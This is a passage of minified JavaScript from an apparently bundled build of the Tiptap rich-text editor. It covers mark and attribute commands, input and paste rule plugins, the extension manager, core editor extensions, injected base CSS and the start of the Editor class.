o.delete(r.from,r.to)}return!0}}return!1},Kq=(s={})=>({tr:e,dispatch:t,editor:n})=>{const{ignoreClearable:i=!1}=s,{selection:r}=e,{empty:o,ranges:a}=r;if(o)return!0;const{nonClearableMarks:c}=n.extensionManager;if(t){const l=Object.values(n.schema.marks).filter(u=>i||!c.includes(u.name));a.forEach(u=>{for(const h of l)e.removeMark(u.$from.pos,u.$to.pos,h)})}return!0},Qq=(s,e={})=>({tr:t,state:n,dispatch:i})=>{var r;const{extendEmptyMarkRange:o=!1}=e,{selection:a}=t,c=Ic(s,n.schema),{$from:l,empty:u,ranges:h}=a;if(!i)return!0;if(u&&o){let{from:d,to:p}=a;const m=(r=l.marks().find(g=>g.type===c))==null?void 0:r.attrs,v=BE(l,c,m);v&&(d=v.from,p=v.to),t.removeMark(d,p,c)}else h.forEach(d=>{t.removeMark(d.$from.pos,d.$to.pos,c)});return t.removeStoredMark(c),!0},Xq=s=>({tr:e,state:t,dispatch:n})=>{const{selection:i}=t;let r,o;return typeof s=="number"?(r=s,o=s):s&&"from"in s&&"to"in s?(r=s.from,o=s.to):(r=i.from,o=i.to),n&&e.doc.nodesBetween(r,o,(a,c)=>{if(a.isText)return;const l={...a.attrs};delete l.dir,e.setNodeMarkup(c,void 0,l)}),!0},Yq=(s,e={})=>({tr:t,state:n,dispatch:i})=>{let r=null,o=null;const a=ik(typeof s=="string"?s:s.name,n.schema);if(!a)return!1;a==="node"&&(r=wn(s,n.schema)),a==="mark"&&(o=Ic(s,n.schema));let c=!1;return t.selection.ranges.forEach(l=>{const u=l.$from.pos,h=l.$to.pos;let d,p,m,v;t.selection.empty?n.doc.nodesBetween(u,h,(g,y)=>{r&&r===g.type&&(c=!0,m=Math.max(y,u),v=Math.min(y+g.nodeSize,h),d=y,p=g)}):n.doc.nodesBetween(u,h,(g,y)=>{y=u&&y<=h&&(r&&r===g.type&&(c=!0,i&&t.setNodeMarkup(y,void 0,{...g.attrs,...e})),o&&g.marks.length&&g.marks.forEach(b=>{if(o===b.type&&(c=!0,i)){const _=Math.max(y,u),w=Math.min(y+g.nodeSize,h);t.addMark(_,w,o.create({...b.attrs,...e}))}}))}),p&&(d!==void 0&&i&&t.setNodeMarkup(d,void 0,{...p.attrs,...e}),o&&p.marks.length&&p.marks.forEach(g=>{o===g.type&&i&&t.addMark(m,v,o.create({...g.attrs,...e}))}))}),c},Jq=(s,e={})=>({state:t,dispatch:n})=>{const i=wn(s,t.schema);return w7(i,e)(t,n)},Zq=(s,e={})=>({state:t,dispatch:n})=>{const i=wn(s,t.schema);return k7(i,e)(t,n)},eK=class{constructor(){this.callbacks={}}on(s,e){return this.callbacks[s]||(this.callbacks[s]=[]),this.callbacks[s].push(e),this}emit(s,...e){const t=this.callbacks[s];return t&&t.forEach(n=>n.apply(this,e)),this}off(s,e){const t=this.callbacks[s];return t&&(e?this.callbacks[s]=t.filter(n=>n!==e):delete this.callbacks[s]),this}once(s,e){const t=(...n)=>{this.off(s,t),e.apply(this,n)};return this.on(s,t)}removeAllListeners(){this.callbacks={}}},ok=class{constructor(s){var e;this.find=s.find,this.handler=s.handler,this.undoable=(e=s.undoable)!=null?e:!0}},tK=(s,e)=>{if(NE(e))return e.exec(s);const t=e(s);if(!t)return null;const n=[t.text];return n.index=t.index,n.input=s,n.data=t.data,t.replaceWith&&(t.text.includes(t.replaceWith)||console.warn('[tiptap warn]: "inputRuleMatch.replaceWith" must be part of "inputRuleMatch.text".'),n.push(t.replaceWith)),n};function R_(s){var e;const{editor:t,from:n,to:i,text:r,rules:o,plugin:a}=s,{view:c}=t;if(c.composing)return!1;const l=c.state.doc.resolve(n);if(l.parent.type.spec.code||(e=l.nodeBefore||l.nodeAfter)!=null&&e.marks.find(d=>d.type.spec.code))return!1;let u=!1;const h=Aq(l)+r;return o.forEach(d=>{if(u)return;const p=tK(h,d.find);if(!p)return;const m=c.state.tr,v=sk({state:c.state,transaction:m}),g={from:n-(p[0].length-r.length),to:i},{commands:y,chain:b,can:_}=new nk({editor:t,state:v});d.handler({state:v,range:g,match:p,commands:y,chain:b,can:_})===null||!m.steps.length||(d.undoable&&m.setMeta(a,{transform:m,from:n,to:i,text:r}),c.dispatch(m),u=!0)}),u}function sK(s){const{editor:e,rules:t}=s,n=new $s({state:{init(){return null},apply(i,r,o){const a=i.getMeta(n);if(a)return a;const c=i.getMeta("applyInputRules");return!!c&&setTimeout(()=>{let{text:u}=c;typeof u=="string"?u=u:u=$E(Fe.from(u),o.schema);const{from:h}=c,d=h+u.length;R_({editor:e,from:h,to:d,text:u,rules:t,plugin:n})}),i.selectionSet||i.docChanged?null:r}},props:{handleTextInput(i,r,o,a){return R_({editor:e,from:r,to:o,text:a,rules:t,plugin:n})},handleDOMEvents:{compositionend:i=>(setTimeout(()=>{const{$cursor:r}=i.state.selection;r&&R_({editor:e,from:r.pos,to:r.pos,text:"",rules:t,plugin:n})}),!1)},handleKeyDown(i,r){if(r.key!=="Enter")return!1;const{$cursor:o}=i.state.selection;return o?R_({editor:e,from:o.pos,to:o.pos,text:` +`,rules:t,plugin:n}):!1}},isInputRules:!0});return n}function nK(s){return Object.prototype.toString.call(s).slice(8,-1)}function L_(s){return nK(s)!=="Object"?!1:s.constructor===Object&&Object.getPrototypeOf(s)===Object.prototype}function pO(s,e){const t={...s};return L_(s)&&L_(e)&&Object.keys(e).forEach(n=>{L_(e[n])&&L_(s[n])?t[n]=pO(s[n],e[n]):t[n]=e[n]}),t}var UE=class{constructor(s={}){this.type="extendable",this.parent=null,this.child=null,this.name="",this.config={name:this.name},this.config={...this.config,...s},this.name=this.config.name}get options(){return{...ns(ot(this,"addOptions",{name:this.name}))}}get storage(){return{...ns(ot(this,"addStorage",{name:this.name,options:this.options}))}}configure(s={}){const e=this.extend({...this.config,addOptions:()=>pO(this.options,s)});return e.name=this.name,e.parent=this.parent,this.child=null,e}extend(s={}){const e=new this.constructor({...this.config,...s});return e.parent=this,this.child=e,e.name="name"in s?s.name:e.parent.name,e}},Df=class gO extends UE{constructor(){super(...arguments),this.type="mark"}static create(e={}){const t=typeof e=="function"?e():e;return new gO(t)}static handleExit({editor:e,mark:t}){const{tr:n}=e.state,i=e.state.selection.$from;if(i.pos===i.end()){const o=i.marks();if(!!!o.find(l=>(l==null?void 0:l.type.name)===t.name))return!1;const c=o.find(l=>(l==null?void 0:l.type.name)===t.name);return c&&n.removeStoredMark(c),n.insertText(" ",i.pos),e.view.dispatch(n),!0}return!1}configure(e){return super.configure(e)}extend(e){const t=typeof e=="function"?e():e;return super.extend(t)}};function iK(s){return typeof s=="number"}var rK=class{constructor(s){this.find=s.find,this.handler=s.handler}},oK=(s,e,t)=>{if(NE(e))return[...s.matchAll(e)];const n=e(s,t);return n?n.map(i=>{const r=[i.text];return r.index=i.index,r.input=s,r.data=i.data,i.replaceWith&&(i.text.includes(i.replaceWith)||console.warn('[tiptap warn]: "pasteRuleMatch.replaceWith" must be part of "pasteRuleMatch.text".'),r.push(i.replaceWith)),r}):[]};function aK(s){const{editor:e,state:t,from:n,to:i,rule:r,pasteEvent:o,dropEvent:a}=s,{commands:c,chain:l,can:u}=new nk({editor:e,state:t}),h=[];return t.doc.nodesBetween(n,i,(p,m)=>{var v,g,y,b,_;if((g=(v=p.type)==null?void 0:v.spec)!=null&&g.code||!(p.isText||p.isTextblock||p.isInline))return;const w=(_=(b=(y=p.content)==null?void 0:y.size)!=null?b:p.nodeSize)!=null?_:0,S=Math.max(n,m),C=Math.min(i,m+w);if(S>=C)return;const T=p.isText?p.text||"":p.textBetween(S-m,C-m,void 0,"");oK(T,r.find,o).forEach(A=>{if(A.index===void 0)return;const M=S+A.index+1,R=M+A[0].length,P={from:t.tr.mapping.map(M),to:t.tr.mapping.map(R)},L=r.handler({state:t,range:P,match:A,commands:c,chain:l,can:u,pasteEvent:o,dropEvent:a});h.push(L)})}),h.every(p=>p!==null)}var P_=null,lK=s=>{var e;const t=new ClipboardEvent("paste",{clipboardData:new DataTransfer});return(e=t.clipboardData)==null||e.setData("text/html",s),t};function cK(s){const{editor:e,rules:t}=s;let n=null,i=!1,r=!1,o=typeof ClipboardEvent<"u"?new ClipboardEvent("paste"):null,a;try{a=typeof DragEvent<"u"?new DragEvent("drop"):null}catch{a=null}const c=({state:u,from:h,to:d,rule:p,pasteEvt:m})=>{const v=u.tr,g=sk({state:u,transaction:v});if(!(!aK({editor:e,state:g,from:Math.max(h-1,0),to:d.b-1,rule:p,pasteEvent:m,dropEvent:a})||!v.steps.length)){try{a=typeof DragEvent<"u"?new DragEvent("drop"):null}catch{a=null}return o=typeof ClipboardEvent<"u"?new ClipboardEvent("paste"):null,v}};return t.map(u=>new $s({view(h){const d=m=>{var v;n=(v=h.dom.parentElement)!=null&&v.contains(m.target)?h.dom.parentElement:null,n&&(P_=e)},p=()=>{P_&&(P_=null)};return window.addEventListener("dragstart",d),window.addEventListener("dragend",p),{destroy(){window.removeEventListener("dragstart",d),window.removeEventListener("dragend",p)}}},props:{handleDOMEvents:{drop:(h,d)=>{if(r=n===h.dom.parentElement,a=d,!r){const p=P_;p!=null&&p.isEditable&&setTimeout(()=>{const m=p.state.selection;m&&p.commands.deleteRange({from:m.from,to:m.to})},10)}return!1},paste:(h,d)=>{var p;const m=(p=d.clipboardData)==null?void 0:p.getData("text/html");return o=d,i=!!(m!=null&&m.includes("data-pm-slice")),!1}}},appendTransaction:(h,d,p)=>{const m=h[0],v=m.getMeta("uiEvent")==="paste"&&!i,g=m.getMeta("uiEvent")==="drop"&&!r,y=m.getMeta("applyPasteRules"),b=!!y;if(!v&&!g&&!b)return;if(b){let{text:S}=y;typeof S=="string"?S=S:S=$E(Fe.from(S),p.schema);const{from:C}=y,T=C+S.length,k=lK(S);return c({rule:u,state:p,from:C,to:{b:T},pasteEvt:k})}const _=d.doc.content.findDiffStart(p.doc.content),w=d.doc.content.findDiffEnd(p.doc.content);if(!(!iK(_)||!w||_===w.b))return c({rule:u,state:p,from:_,to:w,pasteEvt:o})}}))}var ak=class{constructor(s,e){this.splittableMarks=[],this.nonClearableMarks=[],this.editor=e,this.baseExtensions=s,this.extensions=oO(s),this.schema=bq(this.extensions,e),this.setupExtensions()}get commands(){return this.extensions.reduce((s,e)=>{const t={name:e.name,options:e.options,storage:this.editor.extensionStorage[e.name],editor:this.editor,type:Sm(e.name,this.schema)},n=ot(e,"addCommands",t);return n?{...s,...n()}:s},{})}get plugins(){const{editor:s}=this;return Iv([...this.extensions].reverse()).flatMap(n=>{const i={name:n.name,options:n.options,storage:this.editor.extensionStorage[n.name],editor:s,type:Sm(n.name,this.schema)},r=[],o=ot(n,"addKeyboardShortcuts",i);let a={};if(n.type==="mark"&&ot(n,"exitable",i)&&(a.ArrowRight=()=>Df.handleExit({editor:s,mark:n})),o){const d=Object.fromEntries(Object.entries(o()).map(([p,m])=>[p,()=>m({editor:s})]));a={...a,...d}}const c=bG(a);r.push(c);const l=ot(n,"addInputRules",i);if(hI(n,s.options.enableInputRules)&&l){const d=l();if(d&&d.length){const p=sK({editor:s,rules:d}),m=Array.isArray(p)?p:[p];r.push(...m)}}const u=ot(n,"addPasteRules",i);if(hI(n,s.options.enablePasteRules)&&u){const d=u();if(d&&d.length){const p=cK({editor:s,rules:d});r.push(...p)}}const h=ot(n,"addProseMirrorPlugins",i);if(h){const d=h();r.push(...d)}return r})}get attributes(){return rO(this.extensions)}get nodeViews(){const{editor:s}=this,{nodeExtensions:e}=sm(this.extensions);return Object.fromEntries(e.filter(t=>!!ot(t,"addNodeView")).map(t=>{const n=this.attributes.filter(c=>c.type===t.name),i={name:t.name,options:t.options,storage:this.editor.extensionStorage[t.name],editor:s,type:wn(t.name,this.schema)},r=ot(t,"addNodeView",i);if(!r)return[];const o=r();if(!o)return[];const a=(c,l,u,h,d)=>{const p=ey(c,n);return o({node:c,view:l,getPos:u,decorations:h,innerDecorations:d,editor:s,extension:t,HTMLAttributes:p})};return[t.name,a]}))}dispatchTransaction(s){const{editor:e}=this;return Iv([...this.extensions].reverse()).reduceRight((n,i)=>{const r={name:i.name,options:i.options,storage:this.editor.extensionStorage[i.name],editor:e,type:Sm(i.name,this.schema)},o=ot(i,"dispatchTransaction",r);return o?a=>{o.call(r,{transaction:a,next:n})}:n},s)}transformPastedHTML(s){const{editor:e}=this;return Iv([...this.extensions]).reduce((n,i)=>{const r={name:i.name,options:i.options,storage:this.editor.extensionStorage[i.name],editor:e,type:Sm(i.name,this.schema)},o=ot(i,"transformPastedHTML",r);return o?(a,c)=>{const l=n(a,c);return o.call(r,l)}:n},s||(n=>n))}get markViews(){const{editor:s}=this,{markExtensions:e}=sm(this.extensions);return Object.fromEntries(e.filter(t=>!!ot(t,"addMarkView")).map(t=>{const n=this.attributes.filter(a=>a.type===t.name),i={name:t.name,options:t.options,storage:this.editor.extensionStorage[t.name],editor:s,type:Ic(t.name,this.schema)},r=ot(t,"addMarkView",i);if(!r)return[];const o=(a,c,l)=>{const u=ey(a,n);return r()({mark:a,view:c,inline:l,editor:s,extension:t,HTMLAttributes:u,updateAttributes:h=>{wK(a,s,h)}})};return[t.name,o]}))}destroy(){this.extensions.forEach(s=>{let e=s;for(;e.parent;){const t=e.parent;t.child===e&&(t.child=null),e=t}}),this.extensions=[],this.baseExtensions=[],this.schema=null,this.editor=null}setupExtensions(){const s=this.extensions;this.editor.extensionStorage=Object.fromEntries(s.map(e=>[e.name,e.storage])),s.forEach(e=>{var t,n;const i={name:e.name,options:e.options,storage:this.editor.extensionStorage[e.name],editor:this.editor,type:Sm(e.name,this.schema)};e.type==="mark"&&(((t=ns(ot(e,"keepOnSplit",i)))==null||t)&&this.splittableMarks.push(e.name),(n=ns(ot(e,"clearable",i)))==null||n||this.nonClearableMarks.push(e.name));const r=ot(e,"onBeforeCreate",i),o=ot(e,"onCreate",i),a=ot(e,"onUpdate",i),c=ot(e,"onSelectionUpdate",i),l=ot(e,"onTransaction",i),u=ot(e,"onFocus",i),h=ot(e,"onBlur",i),d=ot(e,"onDestroy",i);r&&this.editor.on("beforeCreate",r),o&&this.editor.on("create",o),a&&this.editor.on("update",a),c&&this.editor.on("selectionUpdate",c),l&&this.editor.on("transaction",l),u&&this.editor.on("focus",u),h&&this.editor.on("blur",h),d&&this.editor.on("destroy",d)})}};ak.resolve=oO;ak.sort=Iv;ak.flatten=FE;var uK={};DE(uK,{ClipboardTextSerializer:()=>vO,Commands:()=>yO,Delete:()=>bO,Drop:()=>_O,Editable:()=>SO,FocusEvents:()=>kO,Keymap:()=>CO,Paste:()=>TO,Tabindex:()=>AO,TextDirection:()=>EO,focusEventsPluginKey:()=>wO});var on=class mO extends UE{constructor(){super(...arguments),this.type="extension"}static create(e={}){const t=typeof e=="function"?e():e;return new mO(t)}configure(e){return super.configure(e)}extend(e){const t=typeof e=="function"?e():e;return super.extend(t)}},vO=on.create({name:"clipboardTextSerializer",addOptions(){return{blockSeparator:void 0}},addProseMirrorPlugins(){return[new $s({key:new fn("clipboardTextSerializer"),props:{clipboardTextSerializer:()=>{const{editor:s}=this,{state:e,schema:t}=s,{doc:n,selection:i}=e,r=lO(t),{blockSeparator:o}=this.options,a={...o!==void 0?{blockSeparator:o}:{},textSerializers:r};return[...i.ranges].sort((l,u)=>l.$from.pos-u.$from.pos).map(({$from:l,$to:u})=>aO(n,{from:l.pos,to:u.pos},a)).join(o??` + +`)}}})]}}),yO=on.create({name:"commands",addCommands(){return{...XP}}}),bO=on.create({name:"delete",onUpdate({transaction:s,appendedTransactions:e}){var t,n,i;const r=()=>{var o,a,c,l;if((l=(c=(a=(o=this.editor.options.coreExtensionOptions)==null?void 0:o.delete)==null?void 0:a.filterTransaction)==null?void 0:c.call(a,s))!=null?l:s.getMeta("y-sync$"))return;const u=nO(s.before,[s,...e]);uO(u).forEach(p=>{u.mapping.mapResult(p.oldRange.from).deletedAfter&&u.mapping.mapResult(p.oldRange.to).deletedBefore&&u.before.nodesBetween(p.oldRange.from,p.oldRange.to,(m,v)=>{const g=v+m.nodeSize-2,y=p.oldRange.from<=v&&g<=p.oldRange.to;this.editor.emit("delete",{type:"node",node:m,from:v,to:g,newFrom:u.mapping.map(v),newTo:u.mapping.map(g),deletedRange:p.oldRange,newRange:p.newRange,partial:!y,editor:this.editor,transaction:s,combinedTransform:u})})});const d=u.mapping;u.steps.forEach((p,m)=>{var v,g;if(p instanceof dm){const y=d.slice(m).map(p.from,-1),b=d.slice(m).map(p.to),_=d.invert().map(y,-1),w=d.invert().map(b),S=y>0?(v=u.doc.nodeAt(y-1))==null?void 0:v.marks.some(T=>T.eq(p.mark)):!1,C=(g=u.doc.nodeAt(b))==null?void 0:g.marks.some(T=>T.eq(p.mark));this.editor.emit("delete",{type:"mark",mark:p.mark,from:p.from,to:p.to,deletedRange:{from:_,to:w},newRange:{from:y,to:b},partial:!!(C||S),editor:this.editor,transaction:s,combinedTransform:u})}})};(i=(n=(t=this.editor.options.coreExtensionOptions)==null?void 0:t.delete)==null?void 0:n.async)==null||i?setTimeout(r,0):r()}}),_O=on.create({name:"drop",addProseMirrorPlugins(){return[new $s({key:new fn("tiptapDrop"),props:{handleDrop:(s,e,t,n)=>{this.editor.emit("drop",{editor:this.editor,event:e,slice:t,moved:n})}}})]}}),SO=on.create({name:"editable",addProseMirrorPlugins(){return[new $s({key:new fn("editable"),props:{editable:()=>this.editor.options.editable}})]}}),wO=new fn("focusEvents"),kO=on.create({name:"focusEvents",addProseMirrorPlugins(){const{editor:s}=this;return[new $s({key:wO,props:{handleDOMEvents:{focus:(e,t)=>{s.isFocused=!0;const n=s.state.tr.setMeta("focus",{event:t}).setMeta("addToHistory",!1);return e.dispatch(n),!1},blur:(e,t)=>{s.isFocused=!1;const n=s.state.tr.setMeta("blur",{event:t}).setMeta("addToHistory",!1);return e.dispatch(n),!1}}}})]}}),CO=on.create({name:"keymap",addKeyboardShortcuts(){const s=()=>this.editor.commands.first(({commands:o})=>[()=>o.undoInputRule(),()=>o.command(({tr:a})=>{const{selection:c,doc:l}=a,{empty:u,$anchor:h}=c,{pos:d,parent:p}=h,m=h.parent.isTextblock&&d>0?a.doc.resolve(d-1):h,v=m.parent.type.spec.isolating,g=h.pos-h.parentOffset,y=v&&m.parent.childCount===1?g===h.pos:Ft.atStart(l).from===d;return!u||!p.type.isTextblock||p.textContent.length||!y||y&&h.parent.type.name==="paragraph"?!1:o.clearNodes()}),()=>o.deleteSelection(),()=>o.joinBackward(),()=>o.selectNodeBackward()]),e=()=>this.editor.commands.first(({commands:o})=>[()=>o.deleteSelection(),()=>o.deleteCurrentNode(),()=>o.joinForward(),()=>o.selectNodeForward()]),n={Enter:()=>this.editor.commands.first(({commands:o})=>[()=>o.newlineInCode(),()=>o.createParagraphNear(),()=>o.liftEmptyBlock(),()=>o.splitBlock()]),"Mod-Enter":()=>this.editor.commands.exitCode(),Backspace:s,"Mod-Backspace":s,"Shift-Backspace":s,Delete:e,"Mod-Delete":e,"Mod-a":()=>this.editor.commands.selectAll()},i={...n},r={...n,"Ctrl-h":s,"Alt-Backspace":s,"Ctrl-d":e,"Ctrl-Alt-Backspace":e,"Alt-Delete":e,"Alt-d":e,"Ctrl-a":()=>this.editor.commands.selectTextblockStart(),"Ctrl-e":()=>this.editor.commands.selectTextblockEnd()};return Rw()||tO()?r:i},addProseMirrorPlugins(){return[new $s({key:new fn("clearDocument"),appendTransaction:(s,e,t)=>{if(s.some(v=>v.getMeta("composition")))return;const n=s.some(v=>v.docChanged)&&!e.doc.eq(t.doc),i=s.some(v=>v.getMeta("preventClearDocument"));if(!n||i)return;const{empty:r,from:o,to:a}=e.selection,c=Ft.atStart(e.doc).from,l=Ft.atEnd(e.doc).to;if(r||!(o===c&&a===l)||!ty(t.doc))return;const d=t.tr,p=sk({state:t,transaction:d}),{commands:m}=new nk({editor:this.editor,state:p});if(m.clearNodes(),!!d.steps.length)return d}})]}}),TO=on.create({name:"paste",addProseMirrorPlugins(){return[new $s({key:new fn("tiptapPaste"),props:{handlePaste:(s,e,t)=>{this.editor.emit("paste",{editor:this.editor,event:e,slice:t})}}})]}}),AO=on.create({name:"tabindex",addOptions(){return{value:void 0}},addProseMirrorPlugins(){return[new $s({key:new fn("tabindex"),props:{attributes:()=>{var s;return!this.editor.isEditable&&this.options.value===void 0?{}:{tabindex:(s=this.options.value)!=null?s:"0"}}}})]}}),EO=on.create({name:"textDirection",addOptions(){return{direction:void 0}},addGlobalAttributes(){if(!this.options.direction)return[];const{nodeExtensions:s}=sm(this.extensions);return[{types:s.filter(e=>e.name!=="text").map(e=>e.name),attributes:{dir:{default:this.options.direction,parseHTML:e=>{const t=e.getAttribute("dir");return t&&(t==="ltr"||t==="rtl"||t==="auto")?t:this.options.direction},renderHTML:e=>e.dir?{dir:e.dir}:{}}}}]},addProseMirrorPlugins(){return[new $s({key:new fn("textDirection"),props:{attributes:()=>{const s=this.options.direction;return s?{dir:s}:{}}}})]}}),hK=class Hm{constructor(e,t,n=!1,i=null){this.currentNode=null,this.actualDepth=null,this.isBlock=n,this.resolvedPos=e,this.editor=t,this.currentNode=i}get name(){return this.node.type.name}get node(){return this.currentNode||this.resolvedPos.node()}get element(){return this.editor.view.domAtPos(this.pos).node}get depth(){var e;return(e=this.actualDepth)!=null?e:this.resolvedPos.depth}get pos(){return this.resolvedPos.pos}get content(){return this.node.content}set content(e){let t=this.from,n=this.to;if(this.isBlock){if(this.content.size===0){console.error(`You can’t set content on a block node. Tried to set content on ${this.name} at ${this.pos}`);return}t=this.from+1,n=this.to-1}this.editor.commands.insertContentAt({from:t,to:n},e)}get attributes(){return this.node.attrs}get textContent(){return this.node.textContent}get size(){return this.node.nodeSize}get from(){return this.isBlock?this.pos:this.resolvedPos.start(this.resolvedPos.depth)}get range(){return{from:this.from,to:this.to}}get to(){return this.isBlock?this.pos+this.size:this.resolvedPos.end(this.resolvedPos.depth)+(this.node.isText?0:1)}get parent(){if(this.depth===0)return null;const e=this.resolvedPos.start(this.resolvedPos.depth-1),t=this.resolvedPos.doc.resolve(e);return new Hm(t,this.editor)}get before(){let e=this.resolvedPos.doc.resolve(this.from-(this.isBlock?1:2));return e.depth!==this.depth&&(e=this.resolvedPos.doc.resolve(this.from-3)),new Hm(e,this.editor)}get after(){let e=this.resolvedPos.doc.resolve(this.to+(this.isBlock?2:1));return e.depth!==this.depth&&(e=this.resolvedPos.doc.resolve(this.to+3)),new Hm(e,this.editor)}get children(){const e=[];return this.node.content.forEach((t,n)=>{const i=t.isBlock&&!t.isTextblock,r=t.isAtom&&!t.isText,o=t.isInline,a=this.pos+n+(r?0:1);if(a<0||a>this.resolvedPos.doc.nodeSize-2)return;const c=this.resolvedPos.doc.resolve(a);if(!i&&!o&&c.depth<=this.depth)return;const l=new Hm(c,this.editor,i,i||o?t:null);i&&(l.actualDepth=this.depth+1),e.push(l)}),e}get firstChild(){return this.children[0]||null}get lastChild(){const e=this.children;return e[e.length-1]||null}closest(e,t={}){let n=null,i=this.parent;for(;i&&!n;){if(i.node.type.name===e)if(Object.keys(t).length>0){const r=i.node.attrs,o=Object.keys(t);for(let a=0;a{n&&i.length>0||(o.node.type.name===e&&r.every(c=>t[c]===o.node.attrs[c])&&i.push(o),!(n&&i.length>0)&&(i=i.concat(o.querySelectorAll(e,t,n))))}),i}setAttribute(e){const{tr:t}=this.editor.state;t.setNodeMarkup(this.from,void 0,{...this.node.attrs,...e}),this.editor.view.dispatch(t)}},dK=`.ProseMirror { + position: relative; +} + +.ProseMirror { + word-wrap: break-word; + white-space: pre-wrap; + white-space: break-spaces; + -webkit-font-variant-ligatures: none; + font-variant-ligatures: none; + font-feature-settings: "liga" 0; /* the above doesn't seem to work in Edge */ +} + +.ProseMirror [contenteditable="false"] { + white-space: normal; +} + +.ProseMirror [contenteditable="false"] [contenteditable="true"] { + white-space: pre-wrap; +} + +.ProseMirror pre { + white-space: pre-wrap; +} + +img.ProseMirror-separator { + display: inline !important; + border: none !important; + margin: 0 !important; + width: 0 !important; + height: 0 !important; +} + +.ProseMirror-gapcursor { + display: none; + pointer-events: none; + position: absolute; + margin: 0; +} + +.ProseMirror-gapcursor:after { + content: ""; + display: block; + position: absolute; + top: -2px; + width: 20px; + border-top: 1px solid black; + animation: ProseMirror-cursor-blink 1.1s steps(2, start) infinite; +} + +@keyframes ProseMirror-cursor-blink { + to { + visibility: hidden; + } +} + +.ProseMirror-hideselection *::selection { + background: transparent; +} + +.ProseMirror-hideselection *::-moz-selection { + background: transparent; +} + +.ProseMirror-hideselection * { + caret-color: transparent; +} + +.ProseMirror-focused .ProseMirror-gapcursor { + display: block; +}`;function MO(s,e,t){const n=document.querySelector(`style[data-tiptap-style${t?`-${t}`:""}]`);if(n!==null)return n;const i=document.createElement("style");return e&&i.setAttribute("nonce",e),i.setAttribute(`data-tiptap-style${t?`-${t}`:""}`,""),i.innerHTML=s,document.getElementsByTagName("head")[0].appendChild(i),i}var fK=class extends eK{constructor(e={}){super(),this.css=null,this.className="tiptap",this.editorView=null,this.isFocused=!1,this.destroyed=!1,this.isInitialized=!1,this.extensionStorage={},this.instanceId=Math.random().toString(36).slice(2,9),this.options={element:typeof document<"u"?document.createElement("div"):null,content:"",injectCSS:!0,injectNonce:void 0,extensions:[],autofocus:!1,editable:!0,textDirection:void 0,editorProps:{},parseOptions:{},coreExtensionOptions:{},enableInputRules:!0,enablePasteRules:!0,enableCoreExtensions:!0,enableContentCheck:!1,emitContentError:!1,onBeforeCreate:()=>null,onCreate:()=>null,onMount:()=>null,onUnmount:()=>null,onUpdate:()=>null,onSelectionUpdate:()=>null,onTransaction:()=>null,onFocus:()=>null,onBlur:()=>null,onDestroy:()=>null,onContentError:({error:i})=>{throw i},onPaste:()=>null,onDrop:()=>null,onDelete:()=>null,enableExtensionDispatchTransaction:!0},this.isCapturingTransaction=!1,this.capturedTransaction=null,this.utils={getUpdatedPosition:Iq,createMappablePosition:Rq},this.setOptions(e),this.createExtensionManager(),this.createCommandManager(),this.createSchema(),this.on("beforeCreate",this.options.onBeforeCreate),this.emit("beforeCreate",{editor:this}),this.on("mount",this.options.onMount),this.on("unmount",this.options.onUnmount),this.on("contentError",this.options.onContentError),this.on("create",this.options.onCreate),this.on("update",this.options.onUpdate),this.on("selectionUpdate",this.options.onSelectionUpdate),this.on("transaction",this.options.onTransaction),this.on("focus",this.options.onFocus),this.on("blur",this.options.onBlur),this.on("destroy",this.options.onDestroy),this.on("drop",({event:i,slice:r,moved:o})=>this.options.onDrop(i,r,o)),this.on("paste",({event:i,slice:r})=>this.options.onPaste(i,r)),this.on("delete",this.options.onDelete);const t=this.createDoc(),n=ZP(t,this.options.autofocus);this.editorState=vp.create({doc:t,schema:this.schema,selection:n||void 0}),this.options.element&&this.mount(this.options.element)}mount(e){if(typeof document>"u")throw new Error("[tiptap error]: The editor cannot be mounted because there is no 'document' defined in this environment.");this.createView(e),this.emit("mount",{editor:this}),this.css&&!document.head.contains(this.css)&&document.head.appendChild(this.css),window.setTimeout(()=>{this.isDestroyed||(this.options.autofocus!==!1&&this.options.autofocus!==null&&this.commands.focus(this.options.autofocus),this.emit("create",{editor:this}),this.isInitialized=!0)},0)}unmount(){if(this.editorView){const e=this.editorView.dom;e!=null&&e.editor&&delete e.editor,this.editorView.destroy()}if(this.editorView=null,this.isInitialized=!1,this.css&&!document.querySelectorAll(`.${this.className}`).length)try{typeof this.css.remove=="function"?this.css.remove():this.css.parentNode&&this.css.parentNode.removeChild(this.css)}catch(e){console.warn("Failed to remove CSS element:",e)}this.css=null,this.emit("unmount",{editor:this})}get storage(){return this.extensionStorage}get commands(){return this.commandManager.commands}chain(){return this.commandManager.chain()}can(){return this.commandManager.can()}injectCSS(){this.options.injectCSS&&typeof document<"u"&&(this.css=MO(dK,this.options.injectNonce))}setOptions(e={}){this.options={...this.options,...e},!(!this.editorView||!this.state||this.isDestroyed)&&(this.options.editorProps&&this.view.setProps(this.options.editorProps),this.view.updateState(this.state))}setEditable(e,t=!0){this.setOptions({editable:e}),t&&this.emit("update",{editor:this,transaction:this.state.tr,appendedTransactions:[]})}get isEditable(){return this.options.editable&&this.view&&this.view.editable}get view(){return this.editorView?this.editorView:new Proxy({state:this.editorState,updateState:e=>{this.editorState=e},dispatch:e=>{this.dispatchTransaction(e)},composing:!1,dragging:null,editable:!0,isDestroyed:!1},{get:(e,t)=>{if(this.editorView)return this.editorView[t];if(t==="state")return this.editorState;if(t in e)return Reflect.get(e,t);throw new Error(`[tiptap error]: The editor view is not available. Cannot access view['${t}']. The editor may not be mounted yet.`)}})}get state(){return this.editorView&&(this.editorState=this.view.state),this.editorState}registerPlugin(e,t){const n=iO(t)?t(e,[...this.state.plugins]):[...this.state.plugins,e],i=this.state.reconfigure({plugins:n});return this.view.updateState(i),i}unregisterPlugin(e){if(this.isDestroyed)return;const t=this.state.plugins;let n=t;if([].concat(e).forEach(r=>{const o=typeof r=="string"?`${r}$`:r.key;n=n.filter(a=>!a.key.startsWith(o))}),t.length===n.length)return;const i=this.state.reconfigure({plugins:n});return this.view.updateState(i),i}createExtensionManager(){var e,t,n,i;const o=[...this.options.enableCoreExtensions?[SO,vO.configure({blockSeparator:(t=(e=this.options.coreExtensionOptions)==null?void 0:e.clipboardTextSerializer)==null?void 0:t.blockSeparator}),yO,kO,CO,AO.configure({value:(i=(n=this.options.coreExtensionOptions)==null?void 0:n.tabindex)==null?void 0:i.value}),_O,TO,bO,EO.configure({direction:this.options.textDirection})].filter(a=>typeof this.options.enableCoreExtensions=="object"?this.options.enableCoreExtensions[a.name]!==!1:!0):[],...this.options.extensions].filter(a=>["extension","node","mark"].includes(a==null?void 0:a.type));this.extensionManager=new ak(o,this)}createCommandManager(){this.commandManager=new 